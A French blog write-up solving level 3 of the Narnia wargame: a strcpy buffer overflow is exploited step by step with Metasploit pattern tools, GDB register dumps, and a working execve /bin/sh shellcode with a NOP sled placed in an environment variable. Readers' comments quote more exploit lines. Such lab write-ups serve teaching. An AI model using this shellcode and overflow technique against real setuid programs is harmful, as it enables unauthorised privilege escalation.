dimanche 1 août 2010

[Wargame] Narnia at intruded.net : Level 3

Et hop le level 3 :).

Le programme vulnérable :
/*
    This program is free software; you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation; either version 2 of the License, or
    (at your option) any later version.

    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License
    along with this program; if not, write to the Free Software
    Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char * argv[]){
        char buf[128];

        if(argc == 1){
                printf("Usage: %s argument\n", argv[0]);
                exit(1);
        }
        seteuid(1004);
        strcpy(buf,argv[1]);
        printf("%s", buf);

        return 0;
}

Ok, un bof tout ce qu'il y a de plus classique dans les wargames.
Rien de particulier dans le code assembleur si ce n'est l'habituel calcul d'offset sous GDB.
Si vous voulez plus de détails sur cette méthode, je vous invite à aller voir les liens en bas.

La méthode rapide :
On génére notre pattern avec metasploit :
votrepseudo@votremachine $ msf/tools/pattern_create 140
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae
level5@narnia:~$ gdb /wargame/level3
GNU gdb 6.4.90-debian
Copyright (C) 2006 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i486-linux-gnu"...Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".

(gdb) r Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
Starting program: /wargame/level3 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
Program exited normally.
(gdb) r Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae
Starting program: /wargame/level3 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae

Program received signal SIGILL, Illegal instruction.
0xb7ec7e00 in __libc_start_main () from /lib/tls/i686/cmov/libc.so.6
(gdb) i r
eax            0x0 0
ecx            0xb7fe0434 -1208089548
edx            0xb7fe1448 -1208085432
ebx            0xb7fdfff4 -1208090636
esp            0xbffff9c0 0xbffff9c0
ebp            0x65413565 0x65413565
esi            0x0 0
edi            0xb8000cc0 -1207956288
eip            0xb7ec7e00 0xb7ec7e00 <__libc_start_main+32>
eflags         0x10282 [ SF IF RF ]
cs             0x73 115
ss             0x7b 123
ds             0x7b 123
es             0x7b 123
fs             0x0 0
gs             0x33 51

Ok on a re-écrit ebp avec "e5Ae".

On cherche l'offset de ce pattern avec metasploit toujours :
msf/tools/pattern_offset e5Ae
136

Donc au bouts de 136 bytes on écrit EBP, EIP est donc re-écrit au bout de 140 octets.

On va utiliser la méthode des variables d'environnement, ça a pas mal d'avantages :
- taille de payload illimitée (pratiquement)
- on perd moins de temps à digguer dans GDB (ou vous pouvez aussi écrire un sploit enfin bon)
- ...

Donc notre petit helper getenv :
// @author  : m_101
// @licence : beerware
#include <stdlib.h>

int main (int argc, char *argv[]) {
        char *addr;

        if(argc < 2) {
                printf("Usage:\n%s <environment variable name>\n", argv[0]);
                exit(0);
        }

        addr = getenv(argv[1]);

        if (addr == NULL)
                printf ("The environment variable %s doesn't exist.\n", argv[1]);
        else
                printf ("%s is located at %p\n", argv[1], addr);

        return 0;
}

Maintenant let's sploit!
level3@narnia:~$ export SC=`python -c 'print "\x90" * 128 + "\xb0\x0b\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"'`
level3@narnia:~$ /tmp/getenv SC
SC is located at 0xbffffe94
/wargame/level3 `python -c 'print "A" * 140 + "\x94\xfe\xff\xbf"'`

Have fun ;).

m_101

2 commentaires :

  1. Hello,

    J'ai essayé ta solution et avec la variable d'environnement cela passe très bien avec mon shellcode perso.

    Aurais-tu une idée sur pouquoi quand on place les NOP avant le shellcode et que l'on saut à l'adresse des NOP cela fonctionne.
    Alors que si on place les nop après notre shellcode et que l'on saute dessus cela ne fonctionne pas ?

    En gros :
    J'ai regarder la solution suivante:

    http://0xtceblab.blogspot.com/2011/01/stack-based-buffer-overflow.html


    ./level3 $(perl -e 'print "\x90"x(140-22)."\xb0\x0b\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80\x00"."\x50\xf9\xff\xbf"') ça marche ne marche pas

    ./level3 $(perl -e 'print "\xb0\x0b\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80\x00"."\x90"x(140-22)."\x50\xf9\xff\xbf"') ça marche

    J'ai beau essayer de tracé le programme pour comprendre avec gdb mais sans succès.

    Yaya

    RépondreSupprimer
  2. Un nopsled sert à rendre un exploit plus fiable.

    Au lieu de devoir sauter de manière précise sur l'addresse de début du shellcode ... on a n possibilitées d'addresses où sauter avec un NOP sled.

    De plus, il y a un offset entre GDB et le "réel".

    RépondreSupprimer